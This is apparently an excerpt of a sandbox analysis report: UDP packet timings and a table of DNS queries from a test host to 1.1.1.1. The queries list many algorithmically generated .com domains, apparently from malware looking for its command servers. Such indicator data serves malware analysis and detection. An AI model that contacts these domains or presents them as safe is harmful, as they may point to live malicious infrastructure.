                                                                                                                                                                                                          Aug 23, 2024 18:44:04.593146086 CEST5227253192.168.2.51.1.1.1
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.593287945 CEST5452353192.168.2.51.1.1.1
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.593419075 CEST5169453192.168.2.51.1.1.1
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.593550920 CEST5830953192.168.2.51.1.1.1
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.593687057 CEST5503153192.168.2.51.1.1.1
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.593816996 CEST6049553192.168.2.51.1.1.1
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.593955994 CEST5591953192.168.2.51.1.1.1
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.594089985 CEST6203053192.168.2.51.1.1.1
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.594224930 CEST5050353192.168.2.51.1.1.1
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.594362020 CEST6257053192.168.2.51.1.1.1
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.594496965 CEST5677253192.168.2.51.1.1.1
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.594630003 CEST6264553192.168.2.51.1.1.1
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.594758987 CEST6418953192.168.2.51.1.1.1
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.594883919 CEST5927053192.168.2.51.1.1.1
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.598965883 CEST53544071.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.600219011 CEST53561981.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.601634026 CEST53507551.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.601722002 CEST53579141.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.602355003 CEST53627051.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.602390051 CEST53631121.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.603051901 CEST53525751.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.603106976 CEST53574561.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.603122950 CEST53493901.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.603194952 CEST53572631.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.603863955 CEST53509541.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.604579926 CEST5140353192.168.2.51.1.1.1
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.604943037 CEST53516941.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.604953051 CEST53559191.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.604964018 CEST53545231.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.605243921 CEST53505031.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.606221914 CEST53641891.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.606698036 CEST53590531.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.607666969 CEST53625701.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.607728958 CEST53626451.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.609097004 CEST5971653192.168.2.51.1.1.1
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.613178968 CEST53547271.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.614398956 CEST5492953192.168.2.51.1.1.1
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.615474939 CEST53514031.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.616291046 CEST53496851.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.620898008 CEST53597161.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.622442961 CEST5739553192.168.2.51.1.1.1
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.622620106 CEST5405553192.168.2.51.1.1.1
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.622922897 CEST53650701.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.623965025 CEST53528911.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.624867916 CEST53549291.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.625479937 CEST53604951.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.625972986 CEST53620301.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.626184940 CEST5704153192.168.2.51.1.1.1
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.626234055 CEST53583091.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.628232002 CEST53592701.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.629730940 CEST53550311.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.633356094 CEST53573951.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.634584904 CEST5875853192.168.2.51.1.1.1
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.634757996 CEST5886953192.168.2.51.1.1.1
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.637434959 CEST53570411.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.645438910 CEST53587581.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.645797014 CEST53588691.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.654153109 CEST53540551.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.733388901 CEST53605591.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.734286070 CEST53598231.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.756159067 CEST53522721.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.759641886 CEST5884953192.168.2.51.1.1.1
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.766499996 CEST6300553192.168.2.51.1.1.1
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.770829916 CEST53588491.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.778783083 CEST53567721.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.782661915 CEST53615421.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.866782904 CEST5375953192.168.2.51.1.1.1
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.901906013 CEST53598511.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.921993017 CEST53540131.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.965892076 CEST6168153192.168.2.51.1.1.1
                                                                                                                                                                                                          Aug 23, 2024 18:44:05.008608103 CEST53537591.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:05.050657034 CEST4991253192.168.2.51.1.1.1
                                                                                                                                                                                                          Aug 23, 2024 18:44:05.063622952 CEST53590251.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:05.073441029 CEST6078153192.168.2.51.1.1.1
                                                                                                                                                                                                          Aug 23, 2024 18:44:05.078316927 CEST53630051.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:05.081211090 CEST53607811.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:05.164768934 CEST6145153192.168.2.51.1.1.1
                                                                                                                                                                                                          Aug 23, 2024 18:44:05.168492079 CEST5835553192.168.2.51.1.1.1
                                                                                                                                                                                                          Aug 23, 2024 18:44:05.181545973 CEST53616811.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:05.361274004 CEST53499121.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:05.376519918 CEST5835553192.168.2.51.1.1.1
                                                                                                                                                                                                          Aug 23, 2024 18:44:05.376553059 CEST6145153192.168.2.51.1.1.1
                                                                                                                                                                                                          Aug 23, 2024 18:44:05.383936882 CEST53614511.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:05.482532978 CEST53614511.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:05.499916077 CEST53583551.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:05.500314951 CEST53583551.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:06.017254114 CEST5286553192.168.2.51.1.1.1
                                                                                                                                                                                                          Aug 23, 2024 18:44:06.123022079 CEST6541153192.168.2.51.1.1.1
                                                                                                                                                                                                          Aug 23, 2024 18:44:06.235950947 CEST5286553192.168.2.51.1.1.1
                                                                                                                                                                                                          Aug 23, 2024 18:44:06.329720974 CEST6541153192.168.2.51.1.1.1
                                                                                                                                                                                                          Aug 23, 2024 18:44:06.355490923 CEST53528651.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:06.355537891 CEST53528651.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:06.501450062 CEST53654111.1.1.1192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:44:06.501507044 CEST53654111.1.1.1192.168.2.5

                                                                                                                                                                                                          DNS Queries

                                                                                                                                                                                                          TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.828021049 CEST192.168.2.51.1.1.10x4ef5Standard query (0)gatyfus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.828984022 CEST192.168.2.51.1.1.10xace9Standard query (0)lyvyxor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.829154968 CEST192.168.2.51.1.1.10xd200Standard query (0)puvyxil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.830239058 CEST192.168.2.51.1.1.10x9a83Standard query (0)qetyfuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.831547022 CEST192.168.2.51.1.1.10xaeb1Standard query (0)gahyqah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.832987070 CEST192.168.2.51.1.1.10x2d36Standard query (0)lyryfyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.834098101 CEST192.168.2.51.1.1.10x1029Standard query (0)vocyzit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.835414886 CEST192.168.2.51.1.1.10x8300Standard query (0)qegyqaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.836514950 CEST192.168.2.51.1.1.10xa887Standard query (0)vojyqem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.837829113 CEST192.168.2.51.1.1.10xf0a2Standard query (0)purydyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.839317083 CEST192.168.2.51.1.1.10xcbd9Standard query (0)gacyzuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.841167927 CEST192.168.2.51.1.1.10x843eStandard query (0)lygymoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.842808962 CEST192.168.2.51.1.1.10xf955Standard query (0)vowydef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.844289064 CEST192.168.2.51.1.1.10x9755Standard query (0)qexylup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.845829010 CEST192.168.2.51.1.1.10x5123Standard query (0)pufymoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.847326994 CEST192.168.2.51.1.1.10x9de5Standard query (0)gaqydeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.850944042 CEST192.168.2.51.1.1.10x12c0Standard query (0)lyxylux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.853646994 CEST192.168.2.51.1.1.10x3472Standard query (0)vofymik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.855118990 CEST192.168.2.51.1.1.10x9918Standard query (0)qeqysag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.859618902 CEST192.168.2.51.1.1.10x80a2Standard query (0)puzylyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.861157894 CEST192.168.2.51.1.1.10xf6ebStandard query (0)gadyniw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.862869978 CEST192.168.2.51.1.1.10xcf90Standard query (0)lymysan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.865106106 CEST192.168.2.51.1.1.10xb306Standard query (0)volykyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.866760015 CEST192.168.2.51.1.1.10xaee7Standard query (0)qedynul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.868163109 CEST192.168.2.51.1.1.10x58a1Standard query (0)pumypog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.869771004 CEST192.168.2.51.1.1.10xf5bfStandard query (0)galykes.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.872014999 CEST192.168.2.51.1.1.10x53b3Standard query (0)lysynur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.873363018 CEST192.168.2.51.1.1.10x5756Standard query (0)vonypom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.875040054 CEST192.168.2.51.1.1.10xa271Standard query (0)qekykev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.877080917 CEST192.168.2.51.1.1.10x1ad3Standard query (0)pupybul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.879993916 CEST192.168.2.51.1.1.10xe53dStandard query (0)lykyjad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.881793022 CEST192.168.2.51.1.1.10xedc6Standard query (0)vopybyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.883296967 CEST192.168.2.51.1.1.10x6069Standard query (0)pujyjav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.884567022 CEST192.168.2.51.1.1.10x97fbStandard query (0)gatyvyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.885445118 CEST192.168.2.51.1.1.10x192cStandard query (0)ganypih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.886639118 CEST192.168.2.51.1.1.10x713dStandard query (0)lyvytuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.888458967 CEST192.168.2.51.1.1.10x5edStandard query (0)vojyjof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.889626980 CEST192.168.2.51.1.1.10xe90bStandard query (0)qetyvep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.890876055 CEST192.168.2.51.1.1.10x63cdStandard query (0)puvytuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.892930984 CEST192.168.2.51.1.1.10xf8Standard query (0)gahyhob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.894184113 CEST192.168.2.51.1.1.10x15b9Standard query (0)lyryvex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.896409035 CEST192.168.2.51.1.1.10x7e71Standard query (0)vocyruk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.897569895 CEST192.168.2.51.1.1.10xe859Standard query (0)qebytiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.899374962 CEST192.168.2.51.1.1.10xa7faStandard query (0)qegyhig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.903932095 CEST192.168.2.51.1.1.10x6eb2Standard query (0)purycap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.905365944 CEST192.168.2.51.1.1.10xdc51Standard query (0)gacyryw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.906491995 CEST192.168.2.51.1.1.10x5bd3Standard query (0)lygygin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.909323931 CEST192.168.2.51.1.1.10xa889Standard query (0)qexyryl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.913438082 CEST192.168.2.51.1.1.10xf3d1Standard query (0)pufygug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.913675070 CEST192.168.2.51.1.1.10xbf54Standard query (0)gaqycos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.913836002 CEST192.168.2.51.1.1.10x7249Standard query (0)lyxywer.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.914041996 CEST192.168.2.51.1.1.10x27e7Standard query (0)vofygum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.914200068 CEST192.168.2.51.1.1.10xe188Standard query (0)qeqyxov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.916968107 CEST192.168.2.51.1.1.10x5487Standard query (0)gadyfuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.917525053 CEST192.168.2.51.1.1.10x8167Standard query (0)puzywel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.919367075 CEST192.168.2.51.1.1.10x8858Standard query (0)lymyxid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.920367956 CEST192.168.2.51.1.1.10xb4a8Standard query (0)volyqat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.921528101 CEST192.168.2.51.1.1.10x4556Standard query (0)qedyfyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.927850008 CEST192.168.2.51.1.1.10xae10Standard query (0)vowycac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.928078890 CEST192.168.2.51.1.1.10xf08eStandard query (0)galyqaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.928476095 CEST192.168.2.51.1.1.10xe072Standard query (0)pumyxiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.928905010 CEST192.168.2.51.1.1.10xec4eStandard query (0)lysyfyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.930345058 CEST192.168.2.51.1.1.10xbf0dStandard query (0)vonyzuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.930876970 CEST192.168.2.51.1.1.10x6249Standard query (0)qekyqop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.021975994 CEST192.168.2.51.1.1.10xc8aeStandard query (0)qegyhig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.021975994 CEST192.168.2.51.1.1.10xb19Standard query (0)puzylyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.034811974 CEST192.168.2.51.1.1.10x79a3Standard query (0)gahyqah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.162699938 CEST192.168.2.51.1.1.10x75f5Standard query (0)vocyzit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.182231903 CEST192.168.2.51.1.1.10x4ac1Standard query (0)qetyfuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.218218088 CEST192.168.2.51.1.1.10xa264Standard query (0)vonypom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.246257067 CEST192.168.2.51.1.1.10x3042Standard query (0)vojyqem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.265959978 CEST192.168.2.51.1.1.10xbe78Standard query (0)lymyxid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.308962107 CEST192.168.2.51.1.1.10x522bStandard query (0)lysyfyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.323777914 CEST192.168.2.51.1.1.10x4413Standard query (0)lyvyxor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.352338076 CEST192.168.2.51.1.1.10xd24aStandard query (0)galyqaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.788942099 CEST192.168.2.51.1.1.10x86fcStandard query (0)www.gahyqah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.829868078 CEST192.168.2.51.1.1.10x4ef5Standard query (0)gatyfus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.860035896 CEST192.168.2.51.1.1.10xbe79Standard query (0)gadyniw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.148118019 CEST192.168.2.51.1.1.10xcbc7Standard query (0)ww1.lysyfyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.831069946 CEST192.168.2.51.1.1.10x4ef5Standard query (0)gatyfus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:14.809592962 CEST192.168.2.51.1.1.10x19b7Standard query (0)gatyfus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.754682064 CEST192.168.2.51.1.1.10x208fStandard query (0)ganyzub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.754816055 CEST192.168.2.51.1.1.10x82a6Standard query (0)pupydeq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.755569935 CEST192.168.2.51.1.1.10xf8c4Standard query (0)lykymox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.755990028 CEST192.168.2.51.1.1.10xa565Standard query (0)vopydek.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.757025957 CEST192.168.2.51.1.1.10x34a8Standard query (0)qebylug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.757201910 CEST192.168.2.51.1.1.10x8c2Standard query (0)pujymip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.758687019 CEST192.168.2.51.1.1.10xc238Standard query (0)lyvylyn.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.758827925 CEST192.168.2.51.1.1.10x7604Standard query (0)gatydaw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.759686947 CEST192.168.2.51.1.1.10xc232Standard query (0)vojymic.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.760108948 CEST192.168.2.51.1.1.10x4f58Standard query (0)qetysal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.761152029 CEST192.168.2.51.1.1.10x290eStandard query (0)puvylyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.761385918 CEST192.168.2.51.1.1.10x1f12Standard query (0)gahynus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.762650013 CEST192.168.2.51.1.1.10xb155Standard query (0)lyrysor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.762810946 CEST192.168.2.51.1.1.10xeb4bStandard query (0)vocykem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.764213085 CEST192.168.2.51.1.1.10x6675Standard query (0)purypol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.764225006 CEST192.168.2.51.1.1.10x66c0Standard query (0)qegynuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.765619040 CEST192.168.2.51.1.1.10x730aStandard query (0)gacykeh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.765774965 CEST192.168.2.51.1.1.10xa803Standard query (0)lygynud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.767002106 CEST192.168.2.51.1.1.10xfbffStandard query (0)vowypit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.768681049 CEST192.168.2.51.1.1.10x7221Standard query (0)qexykaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.770087957 CEST192.168.2.51.1.1.10x7912Standard query (0)gaqypiz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.770482063 CEST192.168.2.51.1.1.10x8405Standard query (0)lyxyjaj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.771250010 CEST192.168.2.51.1.1.10x3370Standard query (0)pufybyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.771867037 CEST192.168.2.51.1.1.10xc839Standard query (0)vofybyf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.773019075 CEST192.168.2.51.1.1.10x661dStandard query (0)qeqytup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.775746107 CEST192.168.2.51.1.1.10x2292Standard query (0)puzyjoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.776587009 CEST192.168.2.51.1.1.10xe4f8Standard query (0)gadyveb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.780153036 CEST192.168.2.51.1.1.10x344bStandard query (0)lymytux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.780960083 CEST192.168.2.51.1.1.10xb020Standard query (0)volyjok.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.781413078 CEST192.168.2.51.1.1.10x5133Standard query (0)pumytup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.781856060 CEST192.168.2.51.1.1.10xd349Standard query (0)galyhiw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.786223888 CEST192.168.2.51.1.1.10x5759Standard query (0)lysyvan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.792860985 CEST192.168.2.51.1.1.10x1c99Standard query (0)vonyryc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.793589115 CEST192.168.2.51.1.1.10xdc5aStandard query (0)qekyhil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.794241905 CEST192.168.2.51.1.1.10x4bfcStandard query (0)qedyveg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.796350956 CEST192.168.2.51.1.1.10x7de6Standard query (0)pupycag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.797410965 CEST192.168.2.51.1.1.10x8078Standard query (0)ganyrys.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.801318884 CEST192.168.2.51.1.1.10xaf44Standard query (0)lykygur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.802567959 CEST192.168.2.51.1.1.10x5d03Standard query (0)vopycom.comA (IP address)IN (0x0001)false
